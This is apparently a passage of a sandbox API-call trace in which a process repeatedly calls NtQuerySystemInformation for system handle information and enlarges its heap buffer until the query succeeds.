	[0070.297] NtQuerySystemInformation (in: SystemInformationClass=0x10, SystemInformation=0x2d845d8, Length=0x12288, ResultLength=0x0 | out: SystemInformation=0x2d845d8, ResultLength=0x0) returned 0xc0000004
	[0070.358] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d845d8, Size=0x132ac) returned 0x2d845d8
	[0070.358] NtQuerySystemInformation (in: SystemInformationClass=0x10, SystemInformation=0x2d845d8, Length=0x132ac, ResultLength=0x0 | out: SystemInformation=0x2d845d8, ResultLength=0x0) returned 0xc0000004
	[0070.369] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d845d8, Size=0x142d0) returned 0x2d845d8
	[0070.369] NtQuerySystemInformation (in: SystemInformationClass=0x10, SystemInformation=0x2d845d8, Length=0x142d0, ResultLength=0x0 | out: SystemInformation=0x2d845d8, ResultLength=0x0) returned 0xc0000004
	[0070.372] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d845d8, Size=0x152f4) returned 0x2d845d8
	[0070.372] NtQuerySystemInformation (in: SystemInformationClass=0x10, SystemInformation=0x2d845d8, Length=0x152f4, ResultLength=0x0 | out: SystemInformation=0x2d845d8, ResultLength=0x0) returned 0xc0000004
	[0070.375] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d845d8, Size=0x16318) returned 0x2d845d8
	[0070.375] NtQuerySystemInformation (in: SystemInformationClass=0x10, SystemInformation=0x2d845d8, Length=0x16318, ResultLength=0x0 | out: SystemInformation=0x2d845d8, ResultLength=0x0) returned 0xc0000004
	[0070.377] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d845d8, Size=0x1733c) returned 0x2d845d8
	[0070.378] NtQuerySystemInformation (in: SystemInformationClass=0x10, SystemInformation=0x2d845d8, Length=0x1733c, ResultLength=0x0 | out: SystemInformation=0x2d845d8, ResultLength=0x0) returned 0xc0000004
	[0070.380] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d845d8, Size=0x18360) returned 0x2d845d8
	[0070.380] NtQuerySystemInformation (in: SystemInformationClass=0x10, SystemInformation=0x2d845d8, Length=0x18360, ResultLength=0x0 | out: SystemInformation=0x2d845d8, ResultLength=0x0) returned 0xc0000004
	[0070.383] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d845d8, Size=0x19384) returned 0x2d845d8
	[0070.383] NtQuerySystemInformation (in: SystemInformationClass=0x10, SystemInformation=0x2d845d8, Length=0x19384, ResultLength=0x0 | out: SystemInformation=0x2d845d8, ResultLength=0x0) returned 0xc0000004
	[0070.385] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d845d8, Size=0x1a3a8) returned 0x2d845d8
	[0070.385] NtQuerySystemInformation (in: SystemInformationClass=0x10, SystemInformation=0x2d845d8, Length=0x1a3a8, ResultLength=0x0 | out: SystemInformation=0x2d845d8, ResultLength=0x0) returned 0xc0000004
	[0070.388] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d845d8, Size=0x1b3cc) returned 0x2d845d8
	[0070.388] NtQuerySystemInformation (in: SystemInformationClass=0x10, SystemInformation=0x2d845d8, Length=0x1b3cc, ResultLength=0x0 | out: SystemInformation=0x2d845d8, ResultLength=0x0) returned 0xc0000004
	[0070.530] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d845d8, Size=0x1c3f0) returned 0x2d845d8
	[0070.530] NtQuerySystemInformation (in: SystemInformationClass=0x10, SystemInformation=0x2d845d8, Length=0x1c3f0, ResultLength=0x0 | out: SystemInformation=0x2d845d8, ResultLength=0x0) returned 0xc0000004
	[0070.534] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d845d8, Size=0x1d414) returned 0x2d845d8
	[0070.534] NtQuerySystemInformation (in: SystemInformationClass=0x10, SystemInformation=0x2d845d8, Length=0x1d414, ResultLength=0x0 | out: SystemInformation=0x2d845d8, ResultLength=0x0) returned 0xc0000004
	[0070.537] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d845d8, Size=0x1e438) returned 0x2d845d8
	[0070.537] NtQuerySystemInformation (in: SystemInformationClass=0x10, SystemInformation=0x2d845d8, Length=0x1e438, ResultLength=0x0 | out: SystemInformation=0x2d845d8, ResultLength=0x0) returned 0xc0000004
	[0070.540] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d845d8, Size=0x1f45c) returned 0x2d845d8
	[0070.541] NtQuerySystemInformation (in: SystemInformationClass=0x10, SystemInformation=0x2d845d8, Length=0x1f45c, ResultLength=0x0 | out: SystemInformation=0x2d845d8, ResultLength=0x0) returned 0xc0000004
	[0070.543] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d845d8, Size=0x20480) returned 0x2d845d8
	[0070.543] NtQuerySystemInformation (in: SystemInformationClass=0x10, SystemInformation=0x2d845d8, Length=0x20480, ResultLength=0x0 | out: SystemInformation=0x2d845d8, ResultLength=0x0) returned 0xc0000004
	[0070.546] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d845d8, Size=0x214a4) returned 0x2d845d8
	[0070.546] NtQuerySystemInformation (in: SystemInformationClass=0x10, SystemInformation=0x2d845d8, Length=0x214a4, ResultLength=0x0 | out: SystemInformation=0x2d845d8, ResultLength=0x0) returned 0xc0000004
	[0070.549] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d845d8, Size=0x224c8) returned 0x2d845d8
	[0070.549] NtQuerySystemInformation (in: SystemInformationClass=0x10, SystemInformation=0x2d845d8, Length=0x224c8, ResultLength=0x0 | out: SystemInformation=0x2d845d8, ResultLength=0x0) returned 0xc0000004
	[0070.552] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d845d8, Size=0x234ec) returned 0x2d845d8
	[0070.552] NtQuerySystemInformation (in: SystemInformationClass=0x10, SystemInformation=0x2d845d8, Length=0x234ec, ResultLength=0x0 | out: SystemInformation=0x2d845d8, ResultLength=0x0) returned 0xc0000004
	[0070.555] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d845d8, Size=0x24510) returned 0x2d845d8
	[0070.555] NtQuerySystemInformation (in: SystemInformationClass=0x10, SystemInformation=0x2d845d8, Length=0x24510, ResultLength=0x0 | out: SystemInformation=0x2d845d8, ResultLength=0x0) returned 0xc0000004
	[0070.558] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d845d8, Size=0x25534) returned 0x2d845d8
	[0070.558] NtQuerySystemInformation (in: SystemInformationClass=0x10, SystemInformation=0x2d845d8, Length=0x25534, ResultLength=0x0 | out: SystemInformation=0x2d845d8, ResultLength=0x0) returned 0xc0000004
	[0070.671] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d845d8, Size=0x26558) returned 0x2d845d8
	[0070.678] NtQuerySystemInformation (in: SystemInformationClass=0x10, SystemInformation=0x2d845d8, Length=0x26558, ResultLength=0x0 | out: SystemInformation=0x2d845d8, ResultLength=0x0) returned 0xc0000004
	[0070.695] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d845d8, Size=0x2757c) returned 0x2d845d8
	[0070.695] NtQuerySystemInformation (in: SystemInformationClass=0x10, SystemInformation=0x2d845d8, Length=0x2757c, ResultLength=0x0 | out: SystemInformation=0x2d845d8, ResultLength=0x0) returned 0xc0000004
	[0070.699] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d845d8, Size=0x285a0) returned 0x2d845d8
	[0070.699] NtQuerySystemInformation (in: SystemInformationClass=0x10, SystemInformation=0x2d845d8, Length=0x285a0, ResultLength=0x0 | out: SystemInformation=0x2d845d8, ResultLength=0x0) returned 0xc0000004
	[0070.702] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d845d8, Size=0x295c4) returned 0x2d845d8
	[0070.702] NtQuerySystemInformation (in: SystemInformationClass=0x10, SystemInformation=0x2d845d8, Length=0x295c4, ResultLength=0x0 | out: SystemInformation=0x2d845d8, ResultLength=0x0) returned 0xc0000004
	[0070.706] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d845d8, Size=0x2a5e8) returned 0x2d845d8
	[0070.706] NtQuerySystemInformation (in: SystemInformationClass=0x10, SystemInformation=0x2d845d8, Length=0x2a5e8, ResultLength=0x0 | out: SystemInformation=0x2d845d8, ResultLength=0x0) returned 0xc0000004
	[0070.709] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d845d8, Size=0x2b60c) returned 0x2d845d8
	[0070.709] NtQuerySystemInformation (in: SystemInformationClass=0x10, SystemInformation=0x2d845d8, Length=0x2b60c, ResultLength=0x0 | out: SystemInformation=0x2d845d8, ResultLength=0x0) returned 0xc0000004
	[0070.713] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d845d8, Size=0x2c630) returned 0x2d845d8
	[0070.713] NtQuerySystemInformation (in: SystemInformationClass=0x10, SystemInformation=0x2d845d8, Length=0x2c630, ResultLength=0x0 | out: SystemInformation=0x2d845d8, ResultLength=0x0) returned 0xc0000004
	[0070.717] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d845d8, Size=0x2d654) returned 0x2d845d8
	[0070.717] NtQuerySystemInformation (in: SystemInformationClass=0x10, SystemInformation=0x2d845d8, Length=0x2d654, ResultLength=0x0 | out: SystemInformation=0x2d845d8, ResultLength=0x0) returned 0xc0000004
	[0070.879] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d845d8, Size=0x2e678) returned 0x2d845d8
	[0070.879] NtQuerySystemInformation (in: SystemInformationClass=0x10, SystemInformation=0x2d845d8, Length=0x2e678, ResultLength=0x0 | out: SystemInformation=0x2d845d8, ResultLength=0x0) returned 0xc0000004
	[0070.883] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d845d8, Size=0x2f69c) returned 0x2d845d8
	[0070.883] NtQuerySystemInformation (in: SystemInformationClass=0x10, SystemInformation=0x2d845d8, Length=0x2f69c, ResultLength=0x0 | out: SystemInformation=0x2d845d8, ResultLength=0x0) returned 0xc0000004
	[0070.887] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d845d8, Size=0x306c0) returned 0x2d845d8
	[0070.888] NtQuerySystemInformation (in: SystemInformationClass=0x10, SystemInformation=0x2d845d8, Length=0x306c0, ResultLength=0x0 | out: SystemInformation=0x2d845d8, ResultLength=0x0) returned 0xc0000004
	[0070.892] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d845d8, Size=0x316e4) returned 0x2d845d8
	[0070.892] NtQuerySystemInformation (in: SystemInformationClass=0x10, SystemInformation=0x2d845d8, Length=0x316e4, ResultLength=0x0 | out: SystemInformation=0x2d845d8, ResultLength=0x0) returned 0xc0000004
	[0070.896] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d845d8, Size=0x32708) returned 0x2d845d8
	[0070.896] NtQuerySystemInformation (in: SystemInformationClass=0x10, SystemInformation=0x2d845d8, Length=0x32708, ResultLength=0x0 | out: SystemInformation=0x2d845d8, ResultLength=0x0) returned 0xc0000004
	[0070.900] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d845d8, Size=0x3372c) returned 0x2d845d8
	[0070.900] NtQuerySystemInformation (in: SystemInformationClass=0x10, SystemInformation=0x2d845d8, Length=0x3372c, ResultLength=0x0 | out: SystemInformation=0x2d845d8, ResultLength=0x0) returned 0xc0000004
	[0070.905] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d845d8, Size=0x34750) returned 0x2d845d8
	[0070.905] NtQuerySystemInformation (in: SystemInformationClass=0x10, SystemInformation=0x2d845d8, Length=0x34750, ResultLength=0x0 | out: SystemInformation=0x2d845d8, ResultLength=0x0) returned 0xc0000004
	[0071.040] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d845d8, Size=0x35774) returned 0x2d845d8
	[0071.040] NtQuerySystemInformation (in: SystemInformationClass=0x10, SystemInformation=0x2d845d8, Length=0x35774, ResultLength=0x0 | out: SystemInformation=0x2d845d8, ResultLength=0x0) returned 0xc0000004
	[0071.047] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d845d8, Size=0x36798) returned 0x2d845d8
	[0071.047] NtQuerySystemInformation (in: SystemInformationClass=0x10, SystemInformation=0x2d845d8, Length=0x36798, ResultLength=0x0 | out: SystemInformation=0x2d845d8, ResultLength=0x0) returned 0xc0000004
	[0071.051] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d845d8, Size=0x377bc) returned 0x2d845d8
	[0071.051] NtQuerySystemInformation (in: SystemInformationClass=0x10, SystemInformation=0x2d845d8, Length=0x377bc, ResultLength=0x0 | out: SystemInformation=0x2d845d8, ResultLength=0x0) returned 0xc0000004
	[0071.056] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d845d8, Size=0x387e0) returned 0x2d845d8
	[0071.060] NtQuerySystemInformation (in: SystemInformationClass=0x10, SystemInformation=0x2d845d8, Length=0x387e0, ResultLength=0x0 | out: SystemInformation=0x2d845d8, ResultLength=0x0) returned 0xc0000004
	[0071.065] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d845d8, Size=0x39804) returned 0x2d845d8
	[0071.069] NtQuerySystemInformation (in: SystemInformationClass=0x10, SystemInformation=0x2d845d8, Length=0x39804, ResultLength=0x0 | out: SystemInformation=0x2d845d8, ResultLength=0x0) returned 0xc0000004
	[0071.074] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d845d8, Size=0x3a828) returned 0x2d845d8
	[0071.074] NtQuerySystemInformation (in: SystemInformationClass=0x10, SystemInformation=0x2d845d8, Length=0x3a828, ResultLength=0x0 | out: SystemInformation=0x2d845d8, ResultLength=0x0) returned 0xc0000004
	[0071.176] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d845d8, Size=0x3b84c) returned 0x2d845d8
	[0071.176] NtQuerySystemInformation (in: SystemInformationClass=0x10, SystemInformation=0x2d845d8, Length=0x3b84c, ResultLength=0x0 | out: SystemInformation=0x2d845d8, ResultLength=0x0) returned 0xc0000004
	[0071.199] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d845d8, Size=0x3c870) returned 0x2d845d8
	[0071.199] NtQuerySystemInformation (in: SystemInformationClass=0x10, SystemInformation=0x2d845d8, Length=0x3c870, ResultLength=0x0 | out: SystemInformation=0x2d845d8, ResultLength=0x0) returned 0xc0000004
	[0071.205] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d845d8, Size=0x3d894) returned 0x2d845d8
	[0071.205] NtQuerySystemInformation (in: SystemInformationClass=0x10, SystemInformation=0x2d845d8, Length=0x3d894, ResultLength=0x0 | out: SystemInformation=0x2d845d8, ResultLength=0x0) returned 0xc0000004
	[0071.210] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d845d8, Size=0x3e8b8) returned 0x2d845d8
	[0071.210] NtQuerySystemInformation (in: SystemInformationClass=0x10, SystemInformation=0x2d845d8, Length=0x3e8b8, ResultLength=0x0 | out: SystemInformation=0x2d845d8, ResultLength=0x0) returned 0xc0000004
	[0071.214] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d845d8, Size=0x3f8dc) returned 0x2d845d8
	[0071.214] NtQuerySystemInformation (in: SystemInformationClass=0x10, SystemInformation=0x2d845d8, Length=0x3f8dc, ResultLength=0x0 | out: SystemInformation=0x2d845d8, ResultLength=0x0) returned 0xc0000004
	[0071.220] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d845d8, Size=0x40900) returned 0x2d845d8
	[0071.223] NtQuerySystemInformation (in: SystemInformationClass=0x10, SystemInformation=0x2d845d8, Length=0x40900, ResultLength=0x0 | out: SystemInformation=0x2d845d8, ResultLength=0x0) returned 0xc0000004
	[0071.228] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d845d8, Size=0x41924) returned 0x2d845d8
	[0071.228] NtQuerySystemInformation (in: SystemInformationClass=0x10, SystemInformation=0x2d845d8, Length=0x41924, ResultLength=0x0 | out: SystemInformation=0x2d845d8, ResultLength=0x0) returned 0xc0000004
	[0071.233] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d845d8, Size=0x42948) returned 0x2d845d8
	[0071.234] NtQuerySystemInformation (in: SystemInformationClass=0x10, SystemInformation=0x2d845d8, Length=0x42948, ResultLength=0x0 | out: SystemInformation=0x2d845d8, ResultLength=0x0) returned 0xc0000004
	[0071.366] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d845d8, Size=0x4396c) returned 0x2d845d8
	[0071.366] NtQuerySystemInformation (in: SystemInformationClass=0x10, SystemInformation=0x2d845d8, Length=0x4396c, ResultLength=0x0 | out: SystemInformation=0x2d845d8, ResultLength=0x0) returned 0xc0000004
	[0071.372] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d845d8, Size=0x44990) returned 0x2d845d8
	[0071.372] NtQuerySystemInformation (in: SystemInformationClass=0x10, SystemInformation=0x2d845d8, Length=0x44990, ResultLength=0x0 | out: SystemInformation=0x2d845d8, ResultLength=0x0) returned 0xc0000004
	[0071.377] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d845d8, Size=0x459b4) returned 0x2d845d8
	[0071.377] NtQuerySystemInformation (in: SystemInformationClass=0x10, SystemInformation=0x2d845d8, Length=0x459b4, ResultLength=0x0 | out: SystemInformation=0x2d845d8, ResultLength=0x0) returned 0xc0000004
	[0071.383] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d845d8, Size=0x469d8) returned 0x2d845d8
	[0071.383] NtQuerySystemInformation (in: SystemInformationClass=0x10, SystemInformation=0x2d845d8, Length=0x469d8, ResultLength=0x0 | out: SystemInformation=0x2d845d8, ResultLength=0x0) returned 0xc0000004
	[0071.388] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d845d8, Size=0x479fc) returned 0x2d845d8
	[0071.392] NtQuerySystemInformation (in: SystemInformationClass=0x10, SystemInformation=0x2d845d8, Length=0x479fc, ResultLength=0x0 | out: SystemInformation=0x2d845d8, ResultLength=0x0) returned 0xc0000004
	[0071.398] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d845d8, Size=0x48a20) returned 0x2d845d8
	[0071.399] NtQuerySystemInformation (in: SystemInformationClass=0x10, SystemInformation=0x2d845d8, Length=0x48a20, ResultLength=0x0 | out: SystemInformation=0x2d845d8, ResultLength=0x0) returned 0xc0000004
	[0071.538] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d845d8, Size=0x49a44) returned 0x2d845d8
	[0071.538] NtQuerySystemInformation (in: SystemInformationClass=0x10, SystemInformation=0x2d845d8, Length=0x49a44, ResultLength=0x0 | out: SystemInformation=0x2d845d8, ResultLength=0x0) returned 0xc0000004
	[0071.544] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d845d8, Size=0x4aa68) returned 0x2d845d8
	[0071.544] NtQuerySystemInformation (in: SystemInformationClass=0x10, SystemInformation=0x2d845d8, Length=0x4aa68, ResultLength=0x0 | out: SystemInformation=0x2d845d8, ResultLength=0x0) returned 0xc0000004
	[0071.550] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d845d8, Size=0x4ba8c) returned 0x2d845d8
	[0071.550] NtQuerySystemInformation (in: SystemInformationClass=0x10, SystemInformation=0x2d845d8, Length=0x4ba8c, ResultLength=0x0 | out: SystemInformation=0x2d845d8, ResultLength=0x0) returned 0xc0000004
	[0071.556] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d845d8, Size=0x4cab0) returned 0x2dd0070
	[0071.561] NtQuerySystemInformation (in: SystemInformationClass=0x10, SystemInformation=0x2dd0070, Length=0x4cab0, ResultLength=0x0 | out: SystemInformation=0x2dd0070, ResultLength=0x0) returned 0xc0000004
	[0071.569] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2dd0070, Size=0x4dad4) returned 0x2dd0070
	[0071.569] NtQuerySystemInformation (in: SystemInformationClass=0x10, SystemInformation=0x2dd0070, Length=0x4dad4, ResultLength=0x0 | out: SystemInformation=0x2dd0070, ResultLength=0x0) returned 0xc0000004
	[0071.575] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2dd0070, Size=0x4eaf8) returned 0x4690048
	[0071.718] NtQuerySystemInformation (in: SystemInformationClass=0x10, SystemInformation=0x4690048, Length=0x4eaf8, ResultLength=0x0 | out: SystemInformation=0x4690048, ResultLength=0x0) returned 0xc0000004
	[0071.731] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x4690048, Size=0x4fb1c) returned 0x4690048
	[0071.731] NtQuerySystemInformation (in: SystemInformationClass=0x10, SystemInformation=0x4690048, Length=0x4fb1c, ResultLength=0x0 | out: SystemInformation=0x4690048, ResultLength=0x0) returned 0xc0000004
	[0071.738] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x4690048, Size=0x50b40) returned 0x46dfb70
	[0071.743] NtQuerySystemInformation (in: SystemInformationClass=0x10, SystemInformation=0x46dfb70, Length=0x50b40, ResultLength=0x0 | out: SystemInformation=0x46dfb70, ResultLength=0x0) returned 0xc0000004
	[0071.859] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x46dfb70, Size=0x51b64) returned 0x47306b8
	[0071.867] NtQuerySystemInformation (in: SystemInformationClass=0x10, SystemInformation=0x47306b8, Length=0x51b64, ResultLength=0x0 | out: SystemInformation=0x47306b8, ResultLength=0x0) returned 0xc0000004
	[0071.874] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x47306b8, Size=0x52b88) returned 0x4690048
	[0071.885] NtQuerySystemInformation (in: SystemInformationClass=0x10, SystemInformation=0x4690048, Length=0x52b88, ResultLength=0x0 | out: SystemInformation=0x4690048, ResultLength=0x0) returned 0xc0000004
	[0071.955] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x4690048, Size=0x53bac) returned 0x4690048
	[0071.955] NtQuerySystemInformation (in: SystemInformationClass=0x10, SystemInformation=0x4690048, Length=0x53bac, ResultLength=0x0 | out: SystemInformation=0x4690048, ResultLength=0x0) returned 0xc0000004
	[0071.962] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x4690048, Size=0x54bd0) returned 0x2d845d8
	[0071.967] NtQuerySystemInformation (in: SystemInformationClass=0x10, SystemInformation=0x2d845d8, Length=0x54bd0, ResultLength=0x0 | out: SystemInformation=0x2d845d8, ResultLength=0x0) returned 0xc0000004
	[0071.975] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d845d8, Size=0x55bf4) returned 0x2dd91b0
	[0071.980] NtQuerySystemInformation (in: SystemInformationClass=0x10, SystemInformation=0x2dd91b0, Length=0x55bf4, ResultLength=0x0 | out: SystemInformation=0x2dd91b0, ResultLength=0x0) returned 0xc0000004
	[0072.073] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2dd91b0, Size=0x56c18) returned 0x2dd91b0
	[0072.073] NtQuerySystemInformation (in: SystemInformationClass=0x10, SystemInformation=0x2dd91b0, Length=0x56c18, ResultLength=0x0 | out: SystemInformation=0x2dd91b0, ResultLength=0x0) returned 0xc0000004
	[0072.079] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2dd91b0, Size=0x57c3c) returned 0x4790048
	[0072.089] NtQuerySystemInformation (in: SystemInformationClass=0x10, SystemInformation=0x4790048, Length=0x57c3c, ResultLength=0x0 | out: SystemInformation=0x4790048, ResultLength=0x0) returned 0xc0000004
	[0072.095] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x4790048, Size=0x58c60) returned 0x4790048
	[0072.095] NtQuerySystemInformation (in: SystemInformationClass=0x10, SystemInformation=0x4790048, Length=0x58c60, ResultLength=0x0 | out: SystemInformation=0x4790048, ResultLength=0x0) returned 0xc0000004
	[0072.101] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x4790048, Size=0x59c84) returned 0x2d845d8
	[0072.106] NtQuerySystemInformation (in: SystemInformationClass=0x10, SystemInformation=0x2d845d8, Length=0x59c84, ResultLength=0x0 | out: SystemInformation=0x2d845d8, ResultLength=0x0) returned 0xc0000004
	[0072.181] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d845d8, Size=0x5aca8) returned 0x2dde268
	[0072.186] NtQuerySystemInformation (in: SystemInformationClass=0x10, SystemInformation=0x2dde268, Length=0x5aca8, ResultLength=0x0 | out: SystemInformation=0x2dde268, ResultLength=0x0) returned 0xc0000004
	[0072.202] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2dde268, Size=0x5bccc) returned 0x2dde268
	[0072.202] NtQuerySystemInformation (in: SystemInformationClass=0x10, SystemInformation=0x2dde268, Length=0x5bccc, ResultLength=0x0 | out: SystemInformation=0x2dde268, ResultLength=0x0) returned 0xc0000004
	[0072.210] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2dde268, Size=0x5ccf0) returned 0x4790048
	[0072.214] NtQuerySystemInformation (in: SystemInformationClass=0x10, SystemInformation=0x4790048, Length=0x5ccf0, ResultLength=0x0 | out: SystemInformation=0x4790048, ResultLength=0x0) returned 0xc0000004
	[0072.403] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x4790048, Size=0x5dd14) returned 0x4790048
	[0072.403] NtQuerySystemInformation (in: SystemInformationClass=0x10, SystemInformation=0x4790048, Length=0x5dd14, ResultLength=0x0 | out: SystemInformation=0x4790048, ResultLength=0x0) returned 0xc0000004
	[0072.414] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x4790048, Size=0x5ed38) returned 0x4790048
	[0072.414] NtQuerySystemInformation (in: SystemInformationClass=0x10, SystemInformation=0x4790048, Length=0x5ed38, ResultLength=0x0 | out: SystemInformation=0x4790048, ResultLength=0x0) returned 0xc0000004
	[0072.421] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x4790048, Size=0x5fd5c) returned 0x4790048
	[0072.421] NtQuerySystemInformation (in: SystemInformationClass=0x10, SystemInformation=0x4790048, Length=0x5fd5c, ResultLength=0x0 | out: SystemInformation=0x4790048, ResultLength=0x0) returned 0xc0000004
	[0072.428] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x4790048, Size=0x60d80) returned 0x4790048
	[0072.428] NtQuerySystemInformation (in: SystemInformationClass=0x10, SystemInformation=0x4790048, Length=0x60d80, ResultLength=0x0 | out: SystemInformation=0x4790048, ResultLength=0x0) returned 0xc0000004
	[0072.435] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x4790048, Size=0x61da4) returned 0x4790048
	[0072.435] NtQuerySystemInformation (in: SystemInformationClass=0x10, SystemInformation=0x4790048, Length=0x61da4, ResultLength=0x0 | out: SystemInformation=0x4790048, ResultLength=0x0) returned 0xc0000004
	[0072.537] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x4790048, Size=0x62dc8) returned 0x4790048
	[0072.538] NtQuerySystemInformation (in: SystemInformationClass=0x10, SystemInformation=0x4790048, Length=0x62dc8, ResultLength=0x0 | out: SystemInformation=0x4790048, ResultLength=0x0) returned 0xc0000004
	[0072.545] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x4790048, Size=0x63dec) returned 0x4790048
	[0072.545] NtQuerySystemInformation (in: SystemInformationClass=0x10, SystemInformation=0x4790048, Length=0x63dec, ResultLength=0x0 | out: SystemInformation=0x4790048, ResultLength=0x0) returned 0xc0000004
	[0072.553] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x4790048, Size=0x64e10) returned 0x4790048
	[0072.553] NtQuerySystemInformation (in: SystemInformationClass=0x10, SystemInformation=0x4790048, Length=0x64e10, ResultLength=0x0 | out: SystemInformation=0x4790048, ResultLength=0x0) returned 0xc0000004
	[0072.561] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x4790048, Size=0x65e34) returned 0x4790048
	[0072.561] NtQuerySystemInformation (in: SystemInformationClass=0x10, SystemInformation=0x4790048, Length=0x65e34, ResultLength=0x0 | out: SystemInformation=0x4790048, ResultLength=0x0) returned 0xc0000004
	[0072.678] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x4790048, Size=0x66e58) returned 0x4790048
	[0072.678] NtQuerySystemInformation (in: SystemInformationClass=0x10, SystemInformation=0x4790048, Length=0x66e58, ResultLength=0x0 | out: SystemInformation=0x4790048, ResultLength=0x0) returned 0x0
